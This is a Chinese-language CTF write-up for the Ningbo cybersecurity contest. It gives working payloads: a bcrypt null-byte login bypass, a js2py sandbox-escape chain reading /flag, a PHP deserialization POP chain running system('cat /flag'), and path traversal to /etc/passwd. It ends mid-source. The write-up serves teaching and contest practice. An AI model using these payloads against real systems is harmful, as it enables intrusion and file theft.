第八届宁波市网络安全大赛初赛与决赛Writeup

admin 2026-05-08 05:37:36 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析第八届宁波市网络安全大赛初赛与决赛解题过程,重点阐述anonymity题的SVN泄露漏洞利用及ezpython_3题的bcrypt空字节注入绕过鉴权、js2py库RCE漏洞利用与155字符限制绕过技术,涵盖漏洞分析、利用链构建和实战操作细节。 综合评分: 87 文章分类: CTF,Web安全,渗透测试,漏洞分析,实战经验


第八届宁波市网络安全大赛%20初赛与决赛%20Writeup

赛查查

2026年5月7日%2010:54 北京

在小说阅读器读本章

去阅读

以下文章来源于Sh1n%20Sec ,作者Shin.chan

Sh1n%20Sec .

专注于代码审计、漏洞挖掘、渗透测试、攻防实战与CTF夺旗方向,持续分享最新的技术研究成果与实战经验,探索安全领域的前沿技术。

初赛 anonymity

查看源代码,提示%20svn%20泄露

只泄露了这一个文件

/.svn/wc.db

泄露的不是数据库文件,这几段只告知了创表相关的字段%20赛后询问师傅们也没结果,到现在也是不了了之

EzPython_3

一血题,源码如下

import%20pyjsparser.parser
from%20flask%20import%20Flask,%20render_template,%20request,%20redirect,%20url_for,%20session
import%20base64,%20random,%20secrets,%20string,%20bcrypt,%20js2py

app%20=%20Flask(__name__)
pyjsparser.parser.ENABLE_PYIMPORT=False

users%20=%20{}
users_hash%20=%20{}
salt%20=%20bcrypt.gensalt()
app.secret_key%20=%20secrets.token_bytes(16)

admin%20=%20b'admin'
admin_password%20= ''.join(random.choice(string.ascii_letters%20+%20string.digits) for _ in range(32))
print(admin_password)

h%20=%20bcrypt.hashpw(admin,%20salt)
users[admin]%20=%20admin_password.encode()
users_hash[h]%20=%20bcrypt.hashpw(admin_password.encode(),%20salt)
print(users,%20users_hash)

@app.route('/')
def%20home():
 %20  return redirect(url_for('login'))

@app.route('/login',%20methods=['GET', 'POST'])
def%20login():
 %20  if request.method%20== 'POST':
 %20 %20 %20 %20username:%20bytes%20=%20base64.b64decode(request.form['username'])
 %20 %20 %20 %20password:%20bytes%20=%20base64.b64decode(request.form['password'])
 %20 %20 %20  if bcrypt.hashpw(username,%20salt) in users_hash%20and%20users_hash[bcrypt.hashpw(username,%20salt)]%20==%20bcrypt.hashpw(
 %20 %20 %20 %20 %20 %20 %20 %20password,%20salt):

 %20 %20 %20 %20 %20  if (bcrypt.hashpw(username,%20salt)%20==%20bcrypt.hashpw(b"admin",%20salt)%20and%20users_hash[
 %20 %20 %20 %20 %20 %20 %20 %20bcrypt.hashpw(username,%20salt)]%20==%20users_hash[bcrypt.hashpw(username,%20salt)]%20==%20users_hash[
 %20 %20 %20 %20 %20 %20 %20 %20bcrypt.hashpw(b"admin",%20salt)]):
 %20 %20 %20 %20 %20 %20 %20 %20session['is_admin']%20=%20True
 %20 %20 %20 %20 %20 %20 %20  return redirect(url_for('admin'))
 %20 %20 %20 %20 %20  return f"Welcome,%20{username.decode()}!"
 %20 %20 %20  else:
 %20 %20 %20 %20 %20  return"Invalid%20username%20or%20password!"
 %20  return render_template('login.html')

@app.route('/register',%20methods=['GET', 'POST'])
def%20register():
 %20  if request.method%20== 'POST':
 %20 %20 %20 %20username:%20bytes%20=%20base64.b64decode(request.form['username'])
 %20 %20 %20 %20password:%20bytes%20=%20base64.b64decode(request.form['password'])
 %20 %20 %20  if username in users:
 %20 %20 %20 %20 %20  return"Username%20already%20exists!"
 %20 %20 %20  if len(username)%20>%2015:
 %20 %20 %20 %20 %20  return"username%20is%20too%20long"

 %20 %20 %20 %20users[username]%20=%20password
 %20 %20 %20 %20users_hash[bcrypt.hashpw(username,%20salt)]%20=%20bcrypt.hashpw(password,%20salt)
 %20 %20 %20  print(users,%20users_hash)

 %20 %20 %20  return f"User%20{username.decode()}%20registered%20successfully!"
 %20  return render_template('register.html')

@app.route('/admin',%20methods=['GET', 'POST'])
def%20admin():
 %20  if session.get('is_admin'):
 %20 %20 %20  if request.method%20== 'POST':
 %20 %20 %20 %20 %20 %20js%20=%20request.form['jscode']
 %20 %20 %20 %20 %20  if len(js)%20>155:
 %20 %20 %20 %20 %20 %20 %20  return"too%20long"
 %20 %20 %20 %20 %20 %20try:
 %20 %20 %20 %20 %20 %20 %20 %20result=js2py.eval_js(js)
 %20 %20 %20 %20 %20 %20 %20  return f"ok,{result}"
 %20 %20 %20 %20 %20 %20except%20Exception%20as%20e:
 %20 %20 %20 %20 %20 %20 %20  return f"An%20error%20occurred:%20{str(e)}"
 %20 %20 %20  else:
 %20 %20 %20 %20 %20  return render_template('admin.html')
 %20  else:
 %20 %20 %20  return redirect(url_for('login'))

if __name__%20== '__main__':
 %20 %20app.run()

四个路由 /、/register、/login、/admin,访问的目标是%20admin%20路由,要绕过鉴权 session.get('is_admin')login%20路由,bcrypt.hashpw(username,%20salt)%20==%20bcrypt.hashpw(b"admin",%20salt) 将同一个 salt 对两个明文做 bcrypt,等价于 username%20==%20b"admin"

@app.route('/login',%20methods=['GET', 'POST'])
def%20login():
 %20  if request.method%20== 'POST':
 %20 %20 %20 %20username:%20bytes%20=%20base64.b64decode(request.form['username'])
 %20 %20 %20 %20password:%20bytes%20=%20base64.b64decode(request.form['password'])
 %20 %20 %20  if bcrypt.hashpw(username,%20salt) in users_hash%20and%20users_hash[bcrypt.hashpw(username,%20salt)]%20==%20bcrypt.hashpw(
 %20 %20 %20 %20 %20 %20 %20 %20password,%20salt):

 %20 %20 %20 %20 %20  if (bcrypt.hashpw(username,%20salt)%20==%20bcrypt.hashpw(b"admin",%20salt)%20and%20users_hash[
 %20 %20 %20 %20 %20 %20 %20 %20bcrypt.hashpw(username,%20salt)]%20==%20users_hash[bcrypt.hashpw(username,%20salt)]%20==%20users_hash[
 %20 %20 %20 %20 %20 %20 %20 %20bcrypt.hashpw(b"admin",%20salt)]):
 %20 %20 %20 %20 %20 %20 %20 %20session['is_admin']%20=%20True
 %20 %20 %20 %20 %20 %20 %20  return redirect(url_for('admin'))
 %20 %20 %20 %20 %20  return f"Welcome,%20{username.decode()}!"
 %20 %20 %20  else:
 %20 %20 %20 %20 %20  return"Invalid%20username%20or%20password!"
 %20  return render_template('login.html')

bcrypt%2072%20字节截断,超过%2072%20字节的输入会被忽略,但这不帮助弄到和 b"admin" 相等的哈希;NUL%20截断,空字节注入是有可能,对其进行测试

admin\x00
admin\x00A
admin\x00admin
admin\x00\x00

fuzz%20结果发现%20admin\x00admin%20密码随意

username=YWRtaW4AYWRtaW4=&password=UGFzc3cwcmQh

拿到%20session

进到%20/admin%20路由

@app.route('/admin',%20methods=['GET', 'POST'])
def%20admin():
 %20  if session.get('is_admin'):
 %20 %20 %20  if request.method%20== 'POST':
 %20 %20 %20 %20 %20 %20js%20=%20request.form['jscode']
 %20 %20 %20 %20 %20  if len(js)%20>155:
 %20 %20 %20 %20 %20 %20 %20  return"too%20long"
 %20 %20 %20 %20 %20 %20try:
 %20 %20 %20 %20 %20 %20 %20 %20result=js2py.eval_js(js)
 %20 %20 %20 %20 %20 %20 %20  return f"ok,{result}"
 %20 %20 %20 %20 %20 %20except%20Exception%20as%20e:
 %20 %20 %20 %20 %20 %20 %20  return f"An%20error%20occurred:%20{str(e)}"
 %20 %20 %20  else:
 %20 %20 %20 %20 %20  return render_template('admin.html')
 %20  else:
 %20 %20 %20  return redirect(url_for('login'))

关键代码,结果会直接嵌在%20{result}%20中返回响应包

if len(js)%20>155:
 return "too%20long"
try:
 result=js2py.eval_js(js)
 return f"ok,{result}"

js2py%20只能在非%20python3.12%20版本下运行,我选择%203.10%20进行测试。这个库更多用于爬虫,检索一下相关文章,关于这个库的信息比较少,发现%202024%20年爆出一则%20CVE%20漏洞,主角就是%20js2py.eval_js()%20直接能%20rce:Marven11的漏洞文章

CVE 漏洞详细给了一条链子

let cmd%20= "id";let a%20=%20Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;let obj%20=%20a(a(a,"__class__"), "__base__");function findpopen(o)%20{let result;for(let i in o.__subclasses__())%20{let item%20=%20o.__subclasses__()[i];if(item.__module__%20== "subprocess" &&%20item.__name__%20== "Popen")%20{return item}if(item.__name__%20!= "type" &&%20(result%20=%20findpopen(item)))%20{return result}}};let result%20=%20findpopen(obj)(cmd,%20-1,%20null,%20-1,%20-1,%20-1,%20null,%20null, true).communicate();console.log(result);result

代码形式于要求完全一致,正中靶心

但问题是仅有资料的%20payload%20长度太大,无法满足低于%20155%20的要求,需要找到一条更短的链子绕过

分析

先顺一顺逻辑,js2py/evaljs.py::eval()%20将传入的%20payload%20再套一层%20PyJsEvalResult%20=%20eval(%s)

随后跟进%20execute(),在%20195%20行调用%20js2py/translators/translator.py::translate_js()

js2py/translators/translating_nodes.py::trans()%20 从全局变量获取对应节点,随后 node(**ele)调用每个相关节点,这些节点大都也是处理%20JS%20为%20Python%20代码关键节点 Program会遍历代码的内容并添加变量与函数,最终转换成Python代码

如调试时%20Payload%20最终解析为

var.registers([])
def%20PyJs_LONG_0_(var=var):
return var.get('eval')(Js('传入的代码'))
var.put('PyJsEvalResult',%20PyJs_LONG_0_())

var.get('eval') 取到%20JS%20的内建 eval 的%20Py%20包装,然后会将传入的字符串交给%20JS%20引擎再解析一次

最简单的利用就是直接通过 pyimport 进行导入模块,它是%20js2py%20库中一个特殊的关键字,它允许在%20JS%20代码中直接导入并使用%20Python%20模块

pyimport%20os;var%20current_dir%20=%20os.getcwd();current_dir;

题目最上面定义了 pyjsparser.parser.ENABLE_PYIMPORT%20=%20False ,这阻止了显式pyimport语句,不能在用它导入模块%20此时在回到最开始的%20poc,看看%20Marven11%20师傅这条利用链是如何实现绕过的

关于 js2py/constructors/jsobject.py 里 Object.getOwnPropertyNames 我的理解是这样的,getOwnPropertyNames 返回一个%20Python%20对象,Js()%20前面并不识别它,于是走到 py_wrap() 生成了 PyObjectWrapper

def%20getOwnPropertyNames(obj):
 if not%20obj.is_object():
 %20raise%20MakeError(
 %20 'TypeError',
 %20 'Object.getOwnPropertyDescriptor%20called%20on%20non-object')
return obj.own.keys()

def%20py_wrap(py):
 %20  if isinstance(py,%20(FunctionType,%20BuiltinFunctionType,%20MethodType,
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 BuiltinMethodType,%20dict,%20int,%20str,%20bool, float,%20list,
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 tuple,%20long,%20basestring))%20or%20py%20is%20None:
 %20 %20 %20  return HJs(py)
 %20  return PyObjectWrapper(py)

def%20Js(val,%20Clamped=False):
 %20  '''Converts%20Py%20type%20to%20PyJs%20type'''
 %20  if isinstance(val,%20PyJs):
 %20 %20 %20  return val
 %20  elif val%20is%20None:
 %20 %20 %20  return undefined
 %20  elif isinstance(val,%20basestring):
 %20 %20 %20  return PyJsString(val,%20StringPrototype)
 %20  elif isinstance(val,%20bool):
 %20 %20 %20  returntrueif val elsefalse
 %20  elif isinstance(val, float)%20or%20isinstance(val,%20int)%20or%20isinstance(
 %20 %20 %20 %20 %20 %20val,%20long)%20or%20(NUMPY_AVAILABLE%20and%20isinstance(
 %20 %20 %20 %20 %20 %20 %20 %20val,
 %20 %20 %20 %20 %20 %20 %20 %20(numpy.int8,%20numpy.uint8,%20numpy.int16,%20numpy.uint16,
 %20 %20 %20 %20 %20 %20 %20 %20 numpy.int32,%20numpy.uint32,%20numpy.float32,%20numpy.float64))):
 %20 %20 %20  #%20This%20is%20supposed%20to%20speed%20things%20up.%20may%20not%20be%20the%20case
 %20 %20 %20  if val in NUM_BANK:
 %20 %20 %20 %20 %20  return NUM_BANK[val]
 %20 %20 %20  return PyJsNumber(float(val),%20NumberPrototype)
 %20 %20...
 %20  else:%20 #%20try%20to%20convert%20to%20js%20object
 %20 %20 %20  return py_wrap(val)

在调用 Object.getOwnPropertyNames() 时里面传 []、{}(传入非对象参数会报错),%20能拿到 PyObjectWrapper(dict_keys(xxx)) ,于是%20JS%20层就能访问到%20python%20属性诸如 __class____base____subclasses__等,达成了沙盒逃逸

import%20js2py
import%20pyjsparser
pyjsparser.parser.ENABLE_PYIMPORT%20=%20False

code%20= """
a%20=%20Object.getOwnPropertyNames({})
b%20=%20Object.getOwnPropertyNames([]).__class__.__base__
console.log(a,%20b)
"""

js2py.eval_js(code)

所以%20poc%20的%20payload%20很好理解了,通过 Object.getOwnPropertyNames({}).__class__.__base__ 拿到%20python object类,再写一个递归找 subprocess.Popen 函数,communicate() 拿回显,这被放弃了,太长

Python%20沙箱逃逸最常见的就是%20帧、闭包、函数全局字典拿%20builtins,或者打%20pickle%20链,但也会非常长,也不一定拿到相关的模块

在%20Python%20里有这样一种类型 import%20loader(如 zipimporter_frozen_importlib_external 家族等),这些 loader 的实例常带有 load_module 之类的入口,而在 object基类.__subclasses__() 里总带着 load_module 属性的%20loader%20类

于是保持 Object.getOwnPropertyNames({}).__class__.__base__; 不变,向上找 load_module,遇到第一个带 load_module 的就%20break,用它直接加载内置模块完成读文件/列目录。

payload如下:

读当前工作目录

o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").getcwd() #len(143)

读目录

o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("posix").listdir("/")%20 #len(150)
o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").listdir("/")%20 #len(147)

读文件

for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("_io").open("/flag").read()%20 #len(154)
for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("io").open("/flag").read()%20 #len(153)
#%20DASCTF{23409102560085073674496300485198}

决赛

决赛为%20AWDP%20形式

easyUploads

文件读取,拿到源码

show.php?file=/etc/passwd

#show.php
<?php
if&nbsp;(isset($_GET['file']))%20{
&nbsp;%20&nbsp;&nbsp;$imagePath&nbsp;=&nbsp;$_GET['file'];
&nbsp;%20&nbsp;&nbsp;if&nbsp;(preg_match("/(\/flag|\/fl|\/f|sort|index\.php|show\.php|\.\.\/|\.\/|\/)/i",&nbsp;$imagePath)){
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$imagePath&nbsp;=&nbsp;'img/1.png';
&nbsp; &nbsp; }
}
$imageData&nbsp;= file_get_contents($imagePath);

if&nbsp;($imageData&nbsp;!==&nbsp;false) {

&nbsp; &nbsp;&nbsp;$finfo&nbsp;= finfo_open(FILEINFO_MIME_TYPE);
&nbsp; &nbsp;&nbsp;$mimeType&nbsp;= finfo_buffer($finfo,&nbsp;$imageData);
&nbsp; &nbsp; finfo_close($finfo);

&nbsp; &nbsp; header("Content-Type:&nbsp;$mimeType");

&nbsp; &nbsp;&nbsp;echo$imageData;
&nbsp; &nbsp;&nbsp;exit;
}&nbsp;else&nbsp;{
&nbsp; &nbsp;&nbsp;echo"Image cannot be read.";
}
#index.php
<?php
// 启动 session
session_start();

Class Dog {
&nbsp; &nbsp; public&nbsp;$bone;
&nbsp; &nbsp; public&nbsp;$meat;
&nbsp; &nbsp; public&nbsp;$beef;
&nbsp; &nbsp; public&nbsp;$candy;
&nbsp; &nbsp; public&nbsp;function__invoke() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;((md5($this->meat) == md5($this->beef)) && ($this->meat !=&nbsp;$this->beef)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return$this->candy->flag;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;function__toString() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$function&nbsp;=&nbsp;$this->bone;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return$function();
&nbsp; &nbsp; }
}

CLass mouse {
&nbsp; &nbsp; public&nbsp;$rice;

&nbsp; &nbsp; public&nbsp;function&nbsp;__get($key) {
&nbsp; &nbsp; &nbsp; &nbsp; @eval($this->rice);
&nbsp; &nbsp; }
}

class Cat {
&nbsp; &nbsp; public&nbsp;$fish;
&nbsp; &nbsp; public&nbsp;function__construct() {
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;function__destruct() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo$this->fish;
&nbsp; &nbsp; }
}

// 处理文件上传
$message&nbsp;=&nbsp;'';
$success&nbsp;=&nbsp;false;
if&nbsp;($_SERVER['REQUEST_METHOD'] ===&nbsp;'POST') {
&nbsp; &nbsp;&nbsp;if&nbsp;(isset($_FILES['uploaded_file'])) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$uploadDir&nbsp;= __DIR__ .&nbsp;'/uploads/';
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$uploadedFile&nbsp;=&nbsp;$uploadDir&nbsp;. basename($_FILES['uploaded_file']['name']);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(move_uploaded_file($_FILES['uploaded_file']['tmp_name'],&nbsp;$uploadedFile)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$message&nbsp;=&nbsp;'上传成功!';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$success&nbsp;=&nbsp;true;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$fileContent&nbsp;= file_get_contents($uploadedFile);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @unlink($uploadedFile);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @unserialize($fileContent);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$fileContent&nbsp;=&nbsp;"";

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 设置 session,表示上传成功
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$_SESSION['upload_success'] =&nbsp;true;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 重定向,防止刷新页面时重复提交表单
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; header("Location: "&nbsp;.&nbsp;$_SERVER['PHP_SELF']);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo$message;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
&nbsp; &nbsp; <meta charset="UTF-8">
&nbsp; &nbsp; <title>壁纸上传网站</title>
&nbsp; &nbsp; <style>
&nbsp; &nbsp; &nbsp; &nbsp; body {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; background: linear-gradient(135deg,&nbsp;#000000,&nbsp;#ffffff);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; font-family: Arial, sans-serif;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; color:&nbsp;#333;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; display: flex;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; justify-content: center;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; align-items: center;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; height: 100vh;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin: 0;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; .container {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; text-align: center;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; background: rgba(255, 255, 255, 0.9);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; padding: 30px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; border-radius: 10px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; box-shadow: 0 0 15px rgba(0,0,0,0.2);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; width: 400px;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; h1 {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; font-size: 24px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin-bottom: 20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; color:&nbsp;#000;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; .message {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; font-size: 18px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; color: green;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin-bottom: 20px;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; input[type="file"] {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin: 20px 0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; font-size: 16px;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; input[type="submit"] {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; background-color:&nbsp;#333;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; color:&nbsp;#fff;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; border: none;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; padding: 10px 20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cursor: pointer;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; border-radius: 5px;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; input[type="submit"]:hover {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; background-color:&nbsp;#555;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; .images {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin-top: 40px;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; .images-title {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; font-size: 20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; font-weight: bold;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin-bottom: 20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; color:&nbsp;#444;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; .image-item {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; display: inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin: 0 10px;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; .image-item img {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; width: 150px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; height: 150px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; border-radius: 10px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; border: 2px solid&nbsp;#333;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; transition: transform 0.3s;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; .image-item img:hover {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; transform: scale(1.1);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; .image-item a {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; display: block;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin-top: 10px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; color:&nbsp;#333;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; text-decoration: none;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; font-weight: bold;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; .image-item a:hover {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; color:&nbsp;#555;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; </style>
&nbsp; &nbsp; <script>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;functionshowSuccessAlert() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; alert("文件上传成功!");
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; // 页面加载后检查是否上传成功
&nbsp; &nbsp; &nbsp; &nbsp; window.onload =&nbsp;function() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <?php&nbsp;if&nbsp;(isset($_SESSION['upload_success']) &&&nbsp;$_SESSION['upload_success']) : ?>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; showSuccessAlert();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <?php
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 清除 session 中的上传成功状态
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;unset($_SESSION['upload_success']);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; endif;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ?>
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; </script>
</head>
<body>
<div class="container">
&nbsp; &nbsp; <h1>壁纸上传网站</h1>
&nbsp; &nbsp; <?php&nbsp;if&nbsp;(!empty($message)) : ?>
&nbsp; &nbsp; &nbsp; &nbsp; <div class="message"><?php&nbsp;echo$message; ?></div>
&nbsp; &nbsp; <?php endif; ?>
&nbsp; &nbsp; <form action=""&nbsp;method="post"&nbsp;enctype="multipart/form-data">
&nbsp; &nbsp; &nbsp; &nbsp; <input&nbsp;type="file"&nbsp;name="uploaded_file"&nbsp;required>
&nbsp; &nbsp; &nbsp; &nbsp; <br>
&nbsp; &nbsp; &nbsp; &nbsp; <input&nbsp;type="submit"&nbsp;value="上传">
&nbsp; &nbsp; </form>

&nbsp; &nbsp; <div class="images">
&nbsp; &nbsp; &nbsp; &nbsp; <div class="images-title">精美壁纸如下:</div>

&nbsp; &nbsp; &nbsp; &nbsp; <!-- 图片 1 -->
&nbsp; &nbsp; &nbsp; &nbsp; <div class="image-item">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <img src="./img/1.png"&nbsp;alt="壁纸1">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="/show.php?file=img/1.png"&nbsp;target="_blank">壁纸1</a>
&nbsp; &nbsp; &nbsp; &nbsp; </div>

&nbsp; &nbsp; &nbsp; &nbsp; <!-- 图片 2 -->
&nbsp; &nbsp; &nbsp; &nbsp; <div class="image-item">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <img src="./img/2.png"&nbsp;alt="壁纸2">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="/show.php?file=img/2.png"&nbsp;target="_blank">壁纸2</a>
&nbsp; &nbsp; &nbsp; &nbsp; </div>

&nbsp; &nbsp; </div>
</div>
</body>
</html>

上传文件后会将文件内容反序列化 exp 如下

<?php
Class Dog {
&nbsp; &nbsp; public&nbsp;$bone;
&nbsp; &nbsp; public&nbsp;$meat;
&nbsp; &nbsp; public&nbsp;$beef;
&nbsp; &nbsp; public&nbsp;$candy;
}

CLass mouse {
&nbsp; &nbsp; public&nbsp;$rice;
}

class Cat {
&nbsp; &nbsp; public&nbsp;$fish;
&nbsp; &nbsp; public&nbsp;function&nbsp;__construct($fish) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->fish =&nbsp;$fish;
&nbsp; &nbsp; }}
$m&nbsp;= new mouse();
$m&nbsp;-> rice =&nbsp;"system('cat /flag');";
$d&nbsp;= new Dog();
$d&nbsp;-> meat =&nbsp;'240610708';
$d&nbsp;-> beef =&nbsp;'QNKCDZO';
$d&nbsp;-> bone =&nbsp;$d;
$d&nbsp;-> candy =&nbsp;$m;
$c&nbsp;= new Cat($d);
echo&nbsp;(serialize($c));
//O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";r:2;s:4:"meat";s:9:"240610708";s:4:"beef";s:7:"QNKCDZO";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}}

上传拿到 FLAG

Easy_shop

队友看的这题做完忘截图,比赛时赛方直接提示了读 app.js 拿源码。赛后根据源码复盘一下思路

一看肯定要买 FLAG,但 MONEY 不够通过购买负数的形式增加余额

/buy/2?quantity=-100

再购买 FLAG,提示了一个路由

访问路由

发现存在任意文件读取漏洞

fileName=../../../etc/passwd

读取 FLAG 提示“你还真读FLAG啊”,于是尝试读源码

fileName=../server.js

源码如下

const express = require('express');
const app = express();
const fs = require('fs');
const port = 3000;
const bodyParser = require('body-parser');

app.set('view engine',&nbsp;'ejs');
